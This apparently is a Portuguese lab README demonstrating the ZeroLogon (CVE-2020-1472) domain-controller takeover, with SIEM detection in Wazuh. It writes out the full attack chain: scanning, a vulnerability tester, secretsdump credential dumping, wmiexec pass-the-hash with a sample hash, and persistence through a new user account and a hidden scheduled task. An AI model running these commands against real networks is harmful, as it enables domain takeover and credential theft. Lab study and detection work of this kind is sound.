100hnomeunome/zerologon-cve-2020-1472-labExplicação e demonstração da vulnerabilidade ZeroLogon (CVE-2020-1472)
Explicação e demonstração da vulnerabilidade ZeroLogon (CVE-2020-1472)
O objetivo deste laboratório é estritamente educacional. A sua execução não é recomendada em ambientes de produção ou que não lhe pertençam.
Contexto da vulnerabilidade
Esta vulnerabilidade permite que um cyber criminoso assuma o controle de um Controlador de Domínio (DC). Isso é feito alterando ou removendo a senha de uma conta de serviço no controlador. O agente malicioso pode simplesmente causar uma negação de serviço ou assumir o controle e possuir toda a rede. Em agosto de 2020, a Microsoft lançou um patch.
Componente afetado: Microsoft Netlogon Remote Protocol (MS-NRPC)
Versões do Windows afetas:
Clonar os repositorios
Se for executar localmente!
Na AWS tambem é possivel com essas imagens (cuidado com o billing)
Extra: Uma conta no Wazuh para análise dos eventos do SIEM.
Dica: No Kali Linux, o serviço SSH vem desativado por padrão — é necessário iniciá-lo manualmente.
Antes de testar se o servidor está vulnerável, podemos utilizar o nmap para ver quais portas estao abertas:
nmap -sS -T4 -F --open -n ip
Usando o CVE-2020-1472 - Teste se o servidor alvo está vulneravel. Execute o comando:
zerologon_tester.py <dc-name> <dc-ip>
A ferramenta secretdump é uma tooltik do Impacket
python3 secretsdump.py -just-dc wayne/w2008\[email protected]
python3 wmiexec.py wayne/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:088386eb6982d0c2f8960c26b1ff9e6c
Se tudo ocorrer bem, conseguiremos fazer o login com o hash What is a pass-the-hash attack?
Agora só criar uma persistência! Pode ser um novo usuário!
net user coringa Batman2025 /add
Feito! O usuário foi criado com sucesso!
Também é possivel criar uma tarefa!
mkdir C:\Temp
schtasks /Create /TN "CriarBackupPS1" /TR "powershell -NoProfile -WindowStyle Hidden -Command \"New-Item -Path 'C:\Temp\backup.ps1' -ItemType File -Force -Value '# backup script'\"" /SC ONLOGON /RL HIGHEST /F
É possivel ver a criaçao do usuários e os eventos relacionados ao pass-the-hash e criação de usúarios!
